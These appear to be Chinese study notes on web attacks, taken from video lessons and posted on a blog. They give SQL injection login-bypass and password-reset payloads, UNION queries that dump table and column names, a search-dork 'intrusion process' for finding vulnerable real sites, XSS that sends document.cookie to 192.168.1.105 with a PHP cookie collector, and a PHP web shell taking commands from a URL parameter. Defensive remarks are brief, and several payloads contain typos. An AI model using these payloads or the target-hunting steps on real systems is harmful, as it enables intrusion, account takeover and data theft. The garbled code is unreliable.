web 安全
来源于 视屏教学
***********************SQL注入
目的:
1.获取服务器端数据库的内容;
2.修改数据库的内容;
1.php,asp,jsp,mysql, sqlserver,oracle,access,...
以php 为例:
*利用SQL注入登录,服务器验证:
方式1.select * from user where usernaem= '$username' and password = '$password'
解释:
$username = x' or userid = 1 #'
select * from user where usernaem= 'x' or userid = 1 #'' and password = '$password'
# mysql 表示注释
userid 改成 uid or id , 值 1可以改成 2, 3,...
方式2.select username,pasword from user where username= '$username'
if (count() ==1 )
if(password=$password)
登录成功
方式2:密码不能注释,通过改密码方式;
1. 暴力破解;
2.密码也通过 sql 注入(修改密码)。x'; update user set password='123456'where userid = 1 #'
select username,pasword from user where username= 'x'; update user set password='123456'where userid = 1 #'' (基于 第一种注释,先找出正确的表名,和用户名)
想注入的字符串超出长度,则绕开界面通过接口,使用fiddler,把左边的请求,拖到右边的 composer, username = x'; update user set password='123456'where userid = 1 #' 再点击 “execute”.在尝试使用修改后的 登录 ;
登录名:x' or userid = 1 #'
密码:123456
密码错误:
1.表名猜测;user
2.数据库中的密码加密方式猜测;
3.列名猜测;userid 改成 uid or id
md5 不可逆;
服务器端用户名长度应该固定;
*利用URL地址参数注入SQL:
目的:查看数据库中所有的表和列;
23361 order by 10 // 有多少列
23361 and 1 = 2 //是否返回没有任何数据
select * from thread where tid = 23361 order by 10
23361' //语法不对;单引号是字符串的分隔符
select * from thread where tid = 23361' //语法不对,用来踩点
希望是 报错,或者 无内容,则有漏洞;没报错,则没有漏了。
union:前后的列数相同。前后的属性需要兼容
1.获取列 23361 order by 10 #以第10列排序;
2.23361 and 1 = 2 union select 1,2,3,4
3.23361 and 1 = 2 union select 1,database(),3,4 #获取 数据库名显示在第二列
4.23361 and 1 = 2 union select 1,table_name,3,4 from infomation_schema.tables where table_schema='learn' #获取表名
5.23361 and 1 = 2 union select 1,table_name,3,4 from infomation_schema.tables where table_schema='learn' limit 0,1 #获取表名,0,1 从第一条开开始;1,1 从第二天条开始;5,1 从第六条开始
6.23361 and 1 = 2 union select 1,column_name,3,4 from infomation_schema.tables where table_schema='learn' and table_name = 'user' limit 0,1 #
7.23361 and 1 = 2 union select 1,userid,usernaem,pwd from user limit 0,1 # 7,1 表示第八行
SQL防范:直接将当引号转移'\
入侵流程:
1.找到目标网站:踩点;
2.找到目标网络的漏类型,不同的SQL语句书写习惯;
3.利用SQL进行注入;
通过百度找:
1.搜索:.php? 或 inurl:.php? 或 inurl:jsp? 或 inurl:asp?
搜索:信息港 inurl:.php?
搜索:人才网 inurl:.php?
2. 直接加 ' 或 1=2 或 order by 10 , 看sql 报错;
3.找数据库名;
*************************** XSS 跨站脚本攻击 cross site scripting
目的:攻击其他用户;
1.XSS 代码(任意):
<input type="button" value="click me" onlick="alert('hello')/">
<img src="http://img.baidu.com/img/baike/log-baike.png" onlick="alert('你被黑')/">
2.获取用户cookie: document.cookie
<input type="button" value="click me" onlick="alert(document.cookie)/">
3.传回cookie
方式一:<input type="button" value="click me" onlick="location.href='192.168.1.105/cookie.php?cookie='+cocument.cookie">
解释:将cookie 写入文件;文件如下:
filename cookie.php
<?php
$cookieValue = $_GET['cookie']; 获取
$file= fopen("c:\cookie.txt","a") 追加到文件
fwrite(file,$cookieValue ) 写入文件
fclose($file) 关闭文件
?>
方式二:<input type="button" value="click me" onlick="document.getElemetByID ('另外一个文本框的ID').value=document.cookie" />
解释:获取cookie 并在另外一个文本框显示;
cookie 欺骗:获取别人的cookie
*************************************** 拒绝服务攻击:疯狂向服务器发送请求;
1.肉鸡方式; --避免:服务器足够多;
2.攻击联盟;
解决方案:利用TCP 建立连接的规则(3次握手);
认证与授权:
1.认证;
2.权限;
3.避免未经授权的页面可以直接访问(每个页面都应该有判断,比如session);
测试:直接时候后台的直接URL访问;
获取URL: 使用httpwatch;
session与cookie
1.sessionID-cookie 欺骗;
2.避免保存敏感信息到 cookie 文件中;
3.作用域 path= ;(不同应用不同作用域)
(cookie 不要保存敏感信息,包括尽量不要保存加密的)
cookie 文件保存地址:IETemp\temporaryInternetFiles\cookie:deny@localhost/ (文件名 @ 后面是作用域)
作用域名:cookie 交叉独写
使用 active 插件的方式;
****************************** 文件上传:为了获取服务器端的操作权限;
1.文件上传漏洞过滤;
1).通过后缀名过滤;
2).通过2进制来判断文件类型,通过文件头或文件尾来获取;(纯文本文件不存在2进制的问题)
2.修改服务器核心参数,禁止脚本引擎运行系统命令;
php.ini -> disable_functions = system #禁用了核心命令;
上传文件内容1 :<?php phpinfo(); ?>
上传文件内容2 :<?php system($_GET[''cmd]); ?>
不确定是否只能针对 非 php 服务器;
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?